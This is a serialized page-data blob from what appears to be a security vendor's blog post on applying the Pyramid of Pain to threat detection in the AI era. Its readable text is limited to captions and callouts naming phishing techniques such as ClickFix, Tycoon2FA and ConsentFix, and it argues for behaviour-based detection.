attacker to get around different categories of detection, from Trivial to Tough","The Pyramid of Pain illustrates how difficult it is for an attacker to get around different categories of detection, from Trivial to Tough!",{"url":21215,"width":21216,"height":21217},"https://images.ctfassets.net/y1cdw1ablpvd/7dPJT7PYKX71FCCi0GeDzg/16fb3b07959612a45c1b7636da33e541/image3.png",720,405,{"sys":21219,"__typename":1724,"title":12517,"caption":12518,"layoutMode":59,"file":21220},{"id":7515},{"url":12520,"width":1736,"height":12521},{"sys":21222,"__typename":1724,"title":21223,"caption":21224,"layoutMode":59,"file":21225},{"id":7528},"The Pyramid of Pain in the AI era","The Pyramid of Pain in the AI era: The bar for effective detection has been raised even higher.",{"url":21226,"width":1736,"height":12521},"https://images.ctfassets.net/y1cdw1ablpvd/5cUP2dETihxQgWzIN9dsyH/fcb093c7b88b7a48190f528c87dd3935/image2.png",{"sys":21228,"__typename":15710,"title":21229,"arcadeDemoUrl":21230,"playText":15713},{"id":7605},"ClickFix featuring cloned background remover PDF converter","https://demo.arcade.software/ueVViTh501mEYchV9aBe?embed",{"sys":21232,"__typename":1724,"title":21233,"caption":21234,"layoutMode":59,"file":21235},{"id":7611},"LLMShare attack featuring a ChatGPT-designed page shared via malvertised sharing link.","LLMShare attack featuring a ChatGPT-designed page distributed via malvertised sharing link.",{"url":21236,"width":1736,"height":21237},"https://images.ctfassets.net/y1cdw1ablpvd/soQtEPyX9aQUfby2Ylm7m/0bb772950b7e3598a343f1609a955ed4/image3.png",1750,{"sys":21239,"__typename":15710,"title":21240,"arcadeDemoUrl":21241,"playText":21242},{"id":7719},"Tycoon2FA Device Code Phishing","https://demo.arcade.software/SPNMxNkoyY5vTMPPlqWS?embed","30 secs",{"sys":21244,"__typename":1724,"title":21245,"caption":21245,"layoutMode":59,"file":21246},{"id":7797},"Verbose phishing kit comments (a clear sign of AI involvement).",{"url":21247,"width":21248,"height":21249},"https://images.ctfassets.net/y1cdw1ablpvd/2XOX0xzOxsmBKUuQbup47x/a624c2141879f9238704167a35fdeb39/Screenshot_2026-05-07_at_12.53.27.png",1100,1332,{"sys":21251,"__typename":1740,"content":21252,"name":21263,"title":59},{"id":7880},{"json":21253},{"nodeType":856,"data":21254,"content":21255},{},[21256],{"nodeType":860,"data":21257,"content":21258},{},[21259],{"nodeType":864,"value":21260,"marks":21261,"data":21262},"Six weeks is all it took for ConsentFix to go from nation-state technique to commoditized criminal toolkit — a compression that took device code phishing and ClickFix roughly a year. ",[],{},"Pyramid of Pain IB1",{"sys":21265,"__typename":1724,"title":21266,"caption":21266,"layoutMode":59,"file":21267},{"id":7904},"Tool-level detections aren't as resilient as they were, even if they remain a useful component of the overall detection strategy.",{"url":21226,"width":1736,"height":12521},{"sys":21269,"__typename":1740,"content":21270,"name":21281,"title":59},{"id":7924},{"json":21271},{"nodeType":856,"data":21272,"content":21273},{},[21274],{"nodeType":860,"data":21275,"content":21276},{},[21277],{"nodeType":864,"value":21278,"marks":21279,"data":21280},"If you build detections around a specific kit's JavaScript patterns, then you're in an arms race with the kit's developer. Build detections around the behavioral mechanics of the technique itself — how the page interacts with the authorization endpoint, the sequence of user actions it orchestrates, the redirect patterns — and you’re tracking something that changes at a much slower rate.",[],{},"Pyramid of Pain IB2",{"sys":21283,"__typename":1724,"title":21284,"caption":21284,"layoutMode":59,"file":21285},{"id":8037},"Solving the \"Missing Middle\" with browser visibility and control.",{"url":21286,"width":1736,"height":21287},"https://images.ctfassets.net/y1cdw1ablpvd/2OrpNtm3faEgGJpjUcmJ5q/275e5c84c72f43377131eb9071c9e2b4/image3.png",966,{"items":21289},[],{},"Using the Pyramid of Pain for threat detection in the AI era",{"items":21293},[21294,21975,22696],{"__typename":2059,"sys":21295,"content":21296,"title":7391,"synopsis":7392,"hashTags":59,"publishedDate":7393,"slug":7394,"tagsCollection":21965,"authorsCollection":21971},{"id":6603},{"json":21297},{"data":21298,"content":21299,"nodeType":856},{},[21300,21306,21312,21336,21342,21347,21352,21362,21365,21372,21385,21391,21396,21402,21408,21413,21416,21423,21429,21434,21439,21445,21451,21466,21471,21474,21481,21496,21501,21507,21510,21517,21523,21529,21534,21539,21573,21579,21582,21589,21595,21601,21634,21640,21664,21670,21703,21709,21712,21719,21734,21740,21747,21760,21766,21781,21787,21790,21796,21802,21818,21821,21828,21843,21849,21959],{"data":21301,"content":21302,"nodeType":860},{},[21303],{"data":21304,"marks":21305,"value":6614,"nodeType":864},{},[],{"data":21307,"content":21308,"nodeType":860},{},[21309],{"data":21310,"marks":21311,"value":6621,"nodeType":864},{},[],{"data":21313,"content":21314,"nodeType":860},{},[21315,21318,21324,21327,21333],{"data":21316,"marks":21317,"value":6628,"nodeType":864},{},[],{"data":21319,"content":21320,"nodeType":883},{"uri":6631},[21321],{"data":21322,"marks":21323,"value":6636,"nodeType":864},{},[],{"data":21325,"marks":21326,"value":6640,"nodeType":864},{},[],{"data":21328,"content":21329,"nodeType":883},{"uri":6643},[21330],{"data":21331,"marks":21332,"value":6648,"nodeType":864},{},[],{"data":21334,"marks":21335,"value":6652,"nodeType":864},{},[],{"data":21337,"content":21338,"nodeType":860},{},[21339],{"data":21340,"marks":21341,"value":6659,"nodeType":864},{},[],{"data":21343,"content":21346,"nodeType":996},{"target":21344},{"sys":21345},{"id":6664,"type":1001,"linkType":1002},[],{"data":21348,"content":21351,"nodeType":996},{"target":21349},{"sys":21350},{"id":6670,"type":1001,"linkType":1002},[],{"data":21353,"content":21354,"nodeType":860},{},[21355,21359],{"data":21356,"marks":21357,"value":6679,"nodeType":864},{},[21358],{"type":899},{"data":21360,"marks":21361,"value":6683,"nodeType":864},{},[],{"data":21363,"content":21364,"nodeType":1005},{},[],{"data":21366,"content":21367,"nodeType":1009},{},[21368],{"data":21369,"marks":21370,"value":6694,"nodeType":864},{},[21371],{"type":899},{"data":21373,"content":21374,"nodeType":860},{},[21375,21378,21382],{"data":21376,"marks":21377,"value":6701,"nodeType":864},{},[],{"data":21379,"marks":21380,"value":6706,"nodeType":864},{},[21381],{"type":2246},{"data":21383,"marks":21384,"value":6710,"nodeType":864},{},[],{"data":21386,"content":21387,"nodeType":860},{},[21388],{"data":21389,"marks":21390,"value":6717,"nodeType":864},{},[],{"data":21392,"content":21395,"nodeType":996},{"target":21393},{"sys":21394},{"id":6722,"type":1001,"linkType":1002},[],{"data":21397,"content":21398,"nodeType":860},{},[21399],{"data":21400,"marks":21401,"value":6730,"nodeType":864},{},[],{"data":21403,"content":21404,"nodeType":860},{},[21405],{"data":21406,"marks":21407,"value":6737,"nodeType":864},{},[],{"data":21409,"content":21412,"nodeType":996},{"target":21410},{"sys":21411},{"id":6742,"type":1001,"linkType":1002},[],{"data":21414,"content":21415,"nodeType":1005},{},[],{"data":21417,"content":21418,"nodeType":1009},{},[21419],{"data":21420,"marks":21421,"value":6754,"nodeType":864},{},[21422],{"type":899},{"data":21424,"content":21425,"nodeType":860},{},[21426],{"data":21427,"marks":21428,"value":6761,"nodeType":864},{},[],{"data":21430,"content":21433,"nodeType":996},{"target":21431},{"sys":21432},{"id":6766,"type":1001,"linkType":1002},[],{"data":21435,"content":21438,"nodeType":996},{"target":21436},{"sys":21437},{"id":6772,"type":1001,"linkType":1002},[],{"data":21440,"content":21441,"nodeType":860},{},[21442],{"data":21443,"marks":21444,"value":6780,"nodeType":864},{},[],{"data":21446,"content":21447,"nodeType":860},{},[21448],{"data":21449,"marks":21450,"value":6787,"nodeType":864},{},[],{"data":21452,"content":21453,"nodeType":860},{},[21454,21457,21463],{"data":21455,"marks":21456,"value":6794,"nodeType":864},{},[],{"data":21458,"content":21459,"nodeType":883},{"uri":6797},[21460],{"data":21461,"marks":21462,"value":6802,"nodeType":864},{},[],{"data":21464,"marks":21465,"value":2924,"nodeType":864},{},[],{"data":21467,"content":21470,"nodeType":996},{"target":21468},{"sys":21469},{"id":6810,"type":1001,"linkType":1002},[],{"data":21472,"content":21473,"nodeType":1005},{},[],{"data":21475,"content":21476,"nodeType":1009},{},[21477],{"data":21478,"marks":21479,"value":6822,"nodeType":864},{},[21480],{"type":899},{"data":21482,"content":21483,"nodeType":860},{},[21484,21487,21493],{"data":21485,"marks":21486,"value":6829,"nodeType":864},{},[],{"data":21488,"content":21489,"nodeType":883},{"uri":6631},[21490],{"data":21491,"marks":21492,"value":6836,"nodeType":864},{},[],{"data":21494,"marks":21495,"value":6840,"nodeType":864},{},[],{"data":21497,"content":21500,"nodeType":996},{"target":21498},{"sys":21499},{"id":6845,"type":1001,"linkType":1002},[],{"data":21502,"content":21503,"nodeType":860},{},[21504],{"data":21505,"marks":21506,"value":6853,"nodeType":864},{},[],{"data":21508,"content":21509,"nodeType":1005},{},[],{"data":21511,"content":21512,"nodeType":1009},{},[21513],{"data":21514,"marks":21515,"value":6864,"nodeType":864},{},[21516],{"type":899},{"data":21518,"content":21519,"nodeType":860},{},[21520],{"data":21521,"marks":21522,"value":6871,"nodeType":864},{},[],{"data":21524,"content":21525,"nodeType":860},{},[21526],{"data":21527,"marks":21528,"value":6878,"nodeType":864},{},[],{"data":21530,"content":21533,"nodeType":996},{"target":21531},{"sys":21532},{"id":6883,"type":1001,"linkType":1002},[],{"data":21535,"content":21538,"nodeType":996},{"target":21536},{"sys":21537},{"id":6889,"type":1001,"linkType":1002},[],{"data":21540,"content":21541,"nodeType":860},{},[21542,21545,21551,21554,21560,21563,21570],{"data":21543,"marks":21544,"value":6897,"nodeType":864},{},[],{"data":21546,"content":21547,"nodeType":883},{"uri":6900},[21548],{"data":21549,"marks":21550,"value":6905,"nodeType":864},{},[],{"data":21552,"marks":21553,"value":6909,"nodeType":864},{},[],{"data":21555,"content":21556,"nodeType":883},{"uri":6912},[21557],{"data":21558,"marks":21559,"value":6917,"nodeType":864},{},[],{"data":21561,"marks":21562,"value":902,"nodeType":864},{},[],{"data":21564,"content":21565,"nodeType":883},{"uri":6923},[21566],{"data":21567,"marks":21568,"value":6929,"nodeType":864},{},[21569],{"type":1455},{"data":21571,"marks":21572,"value":6933,"nodeType":864},{},[],{"data":21574,"content":21575,"nodeType":860},{},[21576],{"data":21577,"marks":21578,"value":6940,"nodeType":864},{},[],{"data":21580,"content":21581,"nodeType":1005},{},[],{"data":21583,"content":21584,"nodeType":1009},{},[21585],{"data":21586,"marks":21587,"value":6951,"nodeType":864},{},[21588],{"type":899},{"data":21590,"content":21591,"nodeType":860},{},[21592],{"data":21593,"marks":21594,"value":6958,"nodeType":864},{},[],{"data":21596,"content":21597,"nodeType":1312},{},[21598],{"data":21599,"marks":21600,"value":6965,"nodeType":864},{},[],{"data":21602,"content":21603,"nodeType":860},{},[21604,21607,21613,21616,21622,21625,21631],{"data":21605,"marks":21606,"value":6972,"nodeType":864},{},[],{"data":21608,"content":21609,"nodeType":883},{"uri":6975},[21610],{"data":21611,"marks":21612,"value":6980,"nodeType":864},{},[],{"data":21614,"marks":21615,"value":6984,"nodeType":864},{},[],{"data":21617,"content":21618,"nodeType":883},{"uri":6987},[21619],{"data":21620,"marks":21621,"value":6992,"nodeType":864},{},[],{"data":21623,"marks":21624,"value":6996,"nodeType":864},{},[],{"data":21626,"content":21627,"nodeType":883},{"uri":6999},[21628],{"data":21629,"marks":21630,"value":7004,"nodeType":864},{},[],{"data":21632,"marks":21633,"value":7008,"nodeType":864},{},[],{"data":21635,"content":21636,"nodeType":1312},{},[21637],{"data":21638,"marks":21639,"value":7015,"nodeType":864},{},[],{"data":21641,"content":21642,"nodeType":860},{},[21643,21646,21652,21655,21661],{"data":21644,"marks":21645,"value":7022,"nodeType":864},{},[],{"data":21647,"content":21648,"nodeType":883},{"uri":7025},[21649],{"data":21650,"marks":21651,"value":7030,"nodeType":864},{},[],{"data":21653,"marks":21654,"value":7034,"nodeType":864},{},[],{"data":21656,"content":21657,"nodeType":883},{"uri":7037},[21658],{"data":21659,"marks":21660,"value":7042,"nodeType":864},{},[],{"data":21662,"marks":21663,"value":7046,"nodeType":864},{},[],{"data":21665,"content":21666,"nodeType":1312},{},[21667],{"data":21668,"marks":21669,"value":7053,"nodeType":864},{},[],{"data":21671,"content":21672,"nodeType":860},{},[21673,21676,21682,21685,21691,21694,21700],{"data":21674,"marks":21675,"value":7060,"nodeType":864},{},[],{"data":21677,"content":21678,"nodeType":883},{"uri":7063},[21679],{"data":21680,"marks":21681,"value":7068,"nodeType":864},{},[],{"data":21683,"marks":21684,"value":7072,"nodeType":864},{},[],{"data":21686,"content":21687,"nodeType":883},{"uri":7075},[21688],{"data":21689,"marks":21690,"value":7080,"nodeType":864},{},[],{"data":21692,"marks":21693,"value":7084,"nodeType":864},{},[],{"data":21695,"content":21696,"nodeType":883},{"uri":7087},[21697],{"data":21698,"marks":21699,"value":7092,"nodeType":864},{},[],{"data":21701,"marks":21702,"value":7096,"nodeType":864},{},[],{"data":21704,"content":21705,"nodeType":860},{},[21706],{"data":21707,"marks":21708,"value":7103,"nodeType":864},{},[],{"data":21710,"content":21711,"nodeType":1005},{},[],{"data":21713,"content":21714,"nodeType":1009},{},[21715],{"data":21716,"marks":21717,"value":7114,"nodeType":864},{},[21718],{"type":899},{"data":21720,"content":21721,"nodeType":860},{},[21722,21725,21731],{"data":21723,"marks":21724,"value":7121,"nodeType":864},{},[],{"data":21726,"content":21727,"nodeType":883},{"uri":7124},[21728],{"data":21729,"marks":21730,"value":7129,"nodeType":864},{},[],{"data":21732,"marks":21733,"value":7133,"nodeType":864},{},[],{"data":21735,"content":21736,"nodeType":860},{},[21737],{"data":21738,"marks":21739,"value":7140,"nodeType":864},{},[],{"data":21741,"content":21742,"nodeType":1312},{},[21743],{"data":21744,"marks":21745,"value":7148,"nodeType":864},{},[21746],{"type":899},{"data":21748,"content":21749,"nodeType":860},{},[21750,21753,21757],{"data":21751,"marks":21752,"value":7155,"nodeType":864},{},[],{"data":21754,"marks":21755,"value":1555,"nodeType":864},{},[21756],{"type":899},{"data":21758,"marks":21759,"value":7163,"nodeType":864},{},[],{"data":21761,"content":21762,"nodeType":860},{},[21763],{"data":21764,"marks":21765,"value":7170,"nodeType":864},{},[],{"data":21767,"content":21768,"nodeType":860},{},[21769,21772,21778],{"data":21770,"marks":21771,"value":7177,"nodeType":864},{},[],{"data":21773,"content":21774,"nodeType":883},{"uri":7180},[21775],{"data":21776,"marks":21777,"value":7185,"nodeType":864},{},[],{"data":21779,"marks":21780,"value":7189,"nodeType":864},{},[],{"data":21782,"content":21783,"nodeType":860},{},[21784],{"data":21785,"marks":21786,"value":7196,"nodeType":864},{},[],{"data":21788,"content":21789,"nodeType":1005},{},[],{"data":21791,"content":21792,"nodeType":860},{},[21793],{"data":21794,"marks":21795,"value":1682,"nodeType":864},{},[],{"data":21797,"content":21798,"nodeType":860},{},[21799],{"data":21800,"marks":21801,"value":1689,"nodeType":864},{},[],{"data":21803,"content":21804,"nodeType":860},{},[21805,21808,21815],{"data":21806,"marks":21807,"value":21,"nodeType":864},{},[],{"data":21809,"content":21810,"nodeType":883},{"uri":5642},[21811],{"data":21812,"marks":21813,"value":1703,"nodeType":864},{},[21814],{"type":1455},{"data":21816,"marks":21817,"value":21,"nodeType":864},{},[],{"data":21819,"content":21820,"nodeType":1005},{},[],{"data":21822,"content":21823,"nodeType":1009},{},[21824],{"data":21825,"marks":21826,"value":7238,"nodeType":864},{},[21827],{"type":899},{"data":21829,"content":21830,"nodeType":860},{},[21831,21834,21840],{"data":21832,"marks":21833,"value":7245,"nodeType":864},{},[],{"data":21835,"content":21836,"nodeType":883},{"uri":7248},[21837],{"data":21838,"marks":21839,"value":7253,"nodeType":864},{},[],{"data":21841,"marks":21842,"value":7257,"nodeType":864},{},[],{"data":21844,"content":21845,"nodeType":860},{},[21846],{"data":21847,"marks":21848,"value":7264,"nodeType":864},{},[],{"data":21850,"content":21851,"nodeType":4845},{},[21852,21875,21896,21917,21938],{"data":21853,"content":21854,"nodeType":4581},{},[21855,21865],{"data":21856,"content":21857,"nodeType":7282},{},[21858],{"data":21859,"content":21860,"nodeType":860},{},[21861],{"data":21862,"marks":21863,"value":7281,"nodeType":864},{},[21864],{"type":899},{"data":21866,"content":21867,"nodeType":7282},{},[21868],{"data":21869,"content":21870,"nodeType":860},{},[21871],{"data":21872,"marks":21873,"value":7293,"nodeType":864},{},[21874],{"type":899},{"data":21876,"content":21877,"nodeType":4581},{},[21878,21887],{"data":21879,"content":21880,"nodeType":4569},{},[21881],{"data":21882,"content":21883,"nodeType":860},{},[21884],{"data":21885,"marks":21886,"value":7306,"nodeType":864},{},[],{"data":21888,"content":21889,"nodeType":4569},{},[21890],{"data":21891,"content":21892,"nodeType":860},{},[21893],{"data":21894,"marks":21895,"value":7316,"nodeType":864},{},[],{"data":21897,"content":21898,"nodeType":4581},{},[21899,21908],{"data":21900,"content":21901,"nodeType":4569},{},[21902],{"data":21903,"content":21904,"nodeType":860},{},[21905],{"data":21906,"marks":21907,"value":7329,"nodeType":864},{},[],{"data":21909,"content":21910,"nodeType":4569},{},[21911],{"data":21912,"content":21913,"nodeType":860},{},[21914],{"data":21915,"marks":21916,"value":7316,"nodeType":864},{},[],{"data":21918,"content":21919,"nodeType":4581},{},[21920,21929],{"data":21921,"content":21922,"nodeType":4569},{},[21923],{"data":21924,"content":21925,"nodeType":860},{},[21926],{"data":21927,"marks":21928,"value":7351,"nodeType":864},{},[],{"data":21930,"content":21931,"nodeType":4569},{},[21932],{"data":21933,"content":21934,"nodeType":860},{},[21935],{"data":21936,"marks":21937,"value":7361,"nodeType":864},{},[],{"data":21939,"content":21940,"nodeType":4581},{},[21941,21950],{"data":21942,"content":21943,"nodeType":4569},{},[21944],{"data":21945,"content":21946,"nodeType":860},{},[21947],{"data":21948,"marks":21949,"value":7374,"nodeType":864},{},[],{"data":21951,"content":21952,"nodeType":4569},{},[21953],{"data":21954,"content":21955,"nodeType":860},{},[21956],{"data":21957,"marks":21958,"value":7384,"nodeType":864},{},[],{"data":21960,"content":21961,"nodeType":860},{},[21962],{"data":21963,"marks":21964,"value":21,"nodeType":864},{},[],{"items":21966},[21967,21969],{"sys":21968,"name":6593},{"id":6592},{"sys":21970,"name":342},{"id":6596},{"items":21972},[21973],{"fullName":7404,"firstName":7405,"jobTitle":7406,"profilePicture":21974},{"url":7408},{"__typename":2059,"sys":21976,"content":21977,"title":6584,"synopsis":6585,"hashTags":59,"publishedDate":6586,"slug":6587,"tagsCollection":22686,"authorsCollection":22692},{"id":5746},{"json":21978},{"data":21979,"content":21980,"nodeType":856},{},[21981,21996,22011,22026,22031,22034,22041,22047,22053,22059,22065,22072,22075,22082,22088,22094,22100,22105,22112,22127,22133,22139,22152,22159,22183,22196,22202,22226,22233,22257,22263,22270,22285,22291,22297,22302,22308,22315,22330,22336,22352,22358,22361,22368,22374,22449,22455,22468,22471,22496,22511,22517,22523,22526,22533,22548,22554,22560,22575,22578,22585,22591,22621,22627,22642,22657,22662,22665,22671],{"data":21982,"content":21983,"nodeType":860},{},[21984,21987,21993],{"data":21985,"marks":21986,"value":5757,"nodeType":864},{},[],{"data":21988,"content":21989,"nodeType":883},{"uri":5760},[21990],{"data":21991,"marks":21992,"value":5765,"nodeType":864},{},[],{"data":21994,"marks":21995,"value":5769,"nodeType":864},{},[],{"data":21997,"content":21998,"nodeType":860},{},[21999,22002,22008],{"data":22000,"marks":22001,"value":5776,"nodeType":864},{},[],{"data":22003,"content":22004,"nodeType":883},{"uri":5779},[22005],{"data":22006,"marks":22007,"value":5784,"nodeType":864},{},[],{"data":22009,"marks":22010,"value":5788,"nodeType":864},{},[],{"data":22012,"content":22013,"nodeType":860},{},[22014,22017,22023],{"data":22015,"marks":22016,"value":5795,"nodeType":864},{},[],{"data":22018,"content":22019,"nodeType":883},{"uri":5243},[22020],{"data":22021,"marks":22022,"value":5248,"nodeType":864},{},[],{"data":22024,"marks":22025,"value":5805,"nodeType":864},{},[],{"data":22027,"content":22030,"nodeType":996},{"target":22028},{"sys":22029},{"id":5810,"type":1001,"linkType":1002},[],{"data":22032,"content":22033,"nodeType":1005},{},[],{"data":22035,"content":22036,"nodeType":1009},{},[22037],{"data":22038,"marks":22039,"value":5822,"nodeType":864},{},[22040],{"type":899},{"data":22042,"content":22043,"nodeType":860},{},[22044],{"data":22045,"marks":22046,"value":5829,"nodeType":864},{},[],{"data":22048,"content":22049,"nodeType":860},{},[22050],{"data":22051,"marks":22052,"value":5836,"nodeType":864},{},[],{"data":22054,"content":22055,"nodeType":860},{},[22056],{"data":22057,"marks":22058,"value":5843,"nodeType":864},{},[],{"data":22060,"content":22061,"nodeType":860},{},[22062],{"data":22063,"marks":22064,"value":5850,"nodeType":864},{},[],{"data":22066,"content":22067,"nodeType":860},{},[22068],{"data":22069,"marks":22070,"value":5858,"nodeType":864},{},[22071],{"type":899},{"data":22073,"content":22074,"nodeType":1005},{},[],{"data":22076,"content":22077,"nodeType":1009},{},[22078],{"data":22079,"marks":22080,"value":5869,"nodeType":864},{},[22081],{"type":899},{"data":22083,"content":22084,"nodeType":860},{},[22085],{"data":22086,"marks":22087,"value":5876,"nodeType":864},{},[],{"data":22089,"content":22090,"nodeType":860},{},[22091],{"data":22092,"marks":22093,"value":5883,"nodeType":864},{},[],{"data":22095,"content":22096,"nodeType":860},{},[22097],{"data":22098,"marks":22099,"value":5890,"nodeType":864},{},[],{"data":22101,"content":22104,"nodeType":996},{"target":22102},{"sys":22103},{"id":5895,"type":1001,"linkType":1002},[],{"data":22106,"content":22107,"nodeType":1312},{},[22108],{"data":22109,"marks":22110,"value":5904,"nodeType":864},{},[22111],{"type":899},{"data":22113,"content":22114,"nodeType":860},{},[22115,22118,22124],{"data":22116,"marks":22117,"value":5911,"nodeType":864},{},[],{"data":22119,"content":22120,"nodeType":883},{"uri":5914},[22121],{"data":22122,"marks":22123,"value":5919,"nodeType":864},{},[],{"data":22125,"marks":22126,"value":5923,"nodeType":864},{},[],{"data":22128,"content":22129,"nodeType":860},{},[22130],{"data":22131,"marks":22132,"value":5930,"nodeType":864},{},[],{"data":22134,"content":22135,"nodeType":860},{},[22136],{"data":22137,"marks":22138,"value":5937,"nodeType":864},{},[],{"data":22140,"content":22141,"nodeType":860},{},[22142,22145,22149],{"data":22143,"marks":22144,"value":5944,"nodeType":864},{},[],{"data":22146,"marks":22147,"value":5949,"nodeType":864},{},[22148],{"type":899},{"data":22150,"marks":22151,"value":5953,"nodeType":864},{},[],{"data":22153,"content":22154,"nodeType":1312},{},[22155],{"data":22156,"marks":22157,"value":5961,"nodeType":864},{},[22158],{"type":899},{"data":22160,"content":22161,"nodeType":860},{},[22162,22165,22171,22174,22180],{"data":22163,"marks":22164,"value":5968,"nodeType":864},{},[],{"data":22166,"content":22167,"nodeType":883},{"uri":5971},[22168],{"data":22169,"marks":22170,"value":5976,"nodeType":864},{},[],{"data":22172,"marks":22173,"value":5980,"nodeType":864},{},[],{"data":22175,"content":22176,"nodeType":883},{"uri":3237},[22177],{"data":22178,"marks":22179,"value":5987,"nodeType":864},{},[],{"data":22181,"marks":22182,"value":5991,"nodeType":864},{},[],{"data":22184,"content":22185,"nodeType":860},{},[22186,22189,22193],{"data":22187,"marks":22188,"value":5998,"nodeType":864},{},[],{"data":22190,"marks":22191,"value":6003,"nodeType":864},{},[22192],{"type":899},{"data":22194,"marks":22195,"value":6007,"nodeType":864},{},[],{"data":22197,"content":22198,"nodeType":860},{},[22199],{"data":22200,"marks":22201,"value":6014,"nodeType":864},{},[],{"data":22203,"content":22204,"nodeType":860},{},[22205,22208,22214,22217,22223],{"data":22206,"marks":22207,"value":6021,"nodeType":864},{},[],{"data":22209,"content":22210,"nodeType":883},{"uri":6024},[22211],{"data":22212,"marks":22213,"value":6029,"nodeType":864},{},[],{"data":22215,"marks":22216,"value":6033,"nodeType":864},{},[],{"data":22218,"content":22219,"nodeType":883},{"uri":6036},[22220],{"data":22221,"marks":22222,"value":6041,"nodeType":864},{},[],{"data":22224,"marks":22225,"value":6045,"nodeType":864},{},[],{"data":22227,"content":22228,"nodeType":1312},{},[22229],{"data":22230,"marks":22231,"value":6053,"nodeType":864},{},[22232],{"type":899},{"data":22234,"content":22235,"nodeType":860},{},[22236,22239,22245,22248,22254],{"data":22237,"marks":22238,"value":6060,"nodeType":864},{},[],{"data":22240,"content":22241,"nodeType":883},{"uri":6063},[22242],{"data":22243,"marks":22244,"value":6068,"nodeType":864},{},[],{"data":22246,"marks":22247,"value":6072,"nodeType":864},{},[],{"data":22249,"content":22250,"nodeType":883},{"uri":6075},[22251],{"data":22252,"marks":22253,"value":6080,"nodeType":864},{},[],{"data":22255,"marks":22256,"value":6084,"nodeType":864},{},[],{"data":22258,"content":22259,"nodeType":860},{},[22260],{"data":22261,"marks":22262,"value":6091,"nodeType":864},{},[],{"data":22264,"content":22265,"nodeType":1312},{},[22266],{"data":22267,"marks":22268,"value":6099,"nodeType":864},{},[22269],{"type":899},{"data":22271,"content":22272,"nodeType":860},{},[22273,22276,22282],{"data":22274,"marks":22275,"value":6106,"nodeType":864},{},[],{"data":22277,"content":22278,"nodeType":883},{"uri":3259},[22279],{"data":22280,"marks":22281,"value":6113,"nodeType":864},{},[],{"data":22283,"marks":22284,"value":6117,"nodeType":864},{},[],{"data":22286,"content":22287,"nodeType":860},{},[22288],{"data":22289,"marks":22290,"value":6124,"nodeType":864},{},[],{"data":22292,"content":22293,"nodeType":860},{},[22294],{"data":22295,"marks":22296,"value":6131,"nodeType":864},{},[],{"data":22298,"content":22301,"nodeType":996},{"target":22299},{"sys":22300},{"id":6136,"type":1001,"linkType":1002},[],{"data":22303,"content":22304,"nodeType":860},{},[22305],{"data":22306,"marks":22307,"value":6144,"nodeType":864},{},[],{"data":22309,"content":22310,"nodeType":1312},{},[22311],{"data":22312,"marks":22313,"value":6152,"nodeType":864},{},[22314],{"type":899},{"data":22316,"content":22317,"nodeType":860},{},[22318,22321,22327],{"data":22319,"marks":22320,"value":6159,"nodeType":864},{},[],{"data":22322,"content":22323,"nodeType":883},{"uri":2411},[22324],{"data":22325,"marks":22326,"value":6166,"nodeType":864},{},[],{"data":22328,"marks":22329,"value":6170,"nodeType":864},{},[],{"data":22331,"content":22332,"nodeType":860},{},[22333],{"data":22334,"marks":22335,"value":6177,"nodeType":864},{},[],{"data":22337,"content":22338,"nodeType":860},{},[22339,22342,22349],{"data":22340,"marks":22341,"value":6184,"nodeType":864},{},[],{"data":22343,"content":22344,"nodeType":883},{"uri":2411},[22345],{"data":22346,"marks":22347,"value":6192,"nodeType":864},{},[22348],{"type":1455},{"data":22350,"marks":22351,"value":6196,"nodeType":864},{},[],{"data":22353,"content":22354,"nodeType":860},{},[22355],{"data":22356,"marks":22357,"value":6203,"nodeType":864},{},[],{"data":22359,"content":22360,"nodeType":1005},{},[],{"data":22362,"content":22363,"nodeType":1009},{},[22364],{"data":22365,"marks":22366,"value":6214,"nodeType":864},{},[22367],{"type":899},{"data":22369,"content":22370,"nodeType":860},{},[22371],{"data":22372,"marks":22373,"value":6221,"nodeType":864},{},[],{"data":22375,"content":22376,"nodeType":941},{},[22377,22395,22413,22431],{"data":22378,"content":22379,"nodeType":945},{},[22380],{"data":22381,"content":22382,"nodeType":860},{},[22383,22386,22392],{"data":22384,"marks":22385,"value":6234,"nodeType":864},{},[],{"data":22387,"content":22388,"nodeType":883},{"uri":6237},[22389],{"data":22390,"marks":22391,"value":6242,"nodeType":864},{},[],{"data":22393,"marks":22394,"value":6246,"nodeType":864},{},[],{"data":22396,"content":22397,"nodeType":945},{},[22398],{"data":22399,"content":22400,"nodeType":860},{},[22401,22404,22410],{"data":22402,"marks":22403,"value":6256,"nodeType":864},{},[],{"data":22405,"content":22406,"nodeType":883},{"uri":6259},[22407],{"data":22408,"marks":22409,"value":6264,"nodeType":864},{},[],{"data":22411,"marks":22412,"value":6268,"nodeType":864},{},[],{"data":22414,"content":22415,"nodeType":945},{},[22416],{"data":22417,"content":22418,"nodeType":860},{},[22419,22422,22428],{"data":22420,"marks":22421,"value":6234,"nodeType":864},{},[],{"data":22423,"content":22424,"nodeType":883},{"uri":6036},[22425],{"data":22426,"marks":22427,"value":6284,"nodeType":864},{},[],{"data":22429,"marks":22430,"value":6288,"nodeType":864},{},[],{"data":22432,"content":22433,"nodeType":945},{},[22434],{"data":22435,"content":22436,"nodeType":860},{},[22437,22440,22446],{"data":22438,"marks":22439,"value":2761,"nodeType":864},{},[],{"data":22441,"content":22442,"nodeType":883},{"uri":6300},[22443],{"data":22444,"marks":22445,"value":3756,"nodeType":864},{},[],{"data":22447,"marks":22448,"value":6308,"nodeType":864},{},[],{"data":22450,"content":22451,"nodeType":860},{},[22452],{"data":22453,"marks":22454,"value":6315,"nodeType":864},{},[],{"data":22456,"content":22457,"nodeType":860},{},[22458,22461,22465],{"data":22459,"marks":22460,"value":6322,"nodeType":864},{},[],{"data":22462,"marks":22463,"value":6327,"nodeType":864},{},[22464],{"type":899},{"data":22466,"marks":22467,"value":6331,"nodeType":864},{},[],{"data":22469,"content":22470,"nodeType":1005},{},[],{"data":22472,"content":22473,"nodeType":1009},{},[22474,22478,22483,22487,22492],{"data":22475,"marks":22476,"value":6342,"nodeType":864},{},[22477],{"type":899},{"data":22479,"marks":22480,"value":6348,"nodeType":864},{},[22481,22482],{"type":2246},{"type":899},{"data":22484,"marks":22485,"value":6353,"nodeType":864},{},[22486],{"type":899},{"data":22488,"marks":22489,"value":6359,"nodeType":864},{},[22490,22491],{"type":2246},{"type":899},{"data":22493,"marks":22494,"value":6364,"nodeType":864},{},[22495],{"type":899},{"data":22497,"content":22498,"nodeType":860},{},[22499,22502,22508],{"data":22500,"marks":22501,"value":6371,"nodeType":864},{},[],{"data":22503,"content":22504,"nodeType":883},{"uri":6374},[22505],{"data":22506,"marks":22507,"value":6379,"nodeType":864},{},[],{"data":2250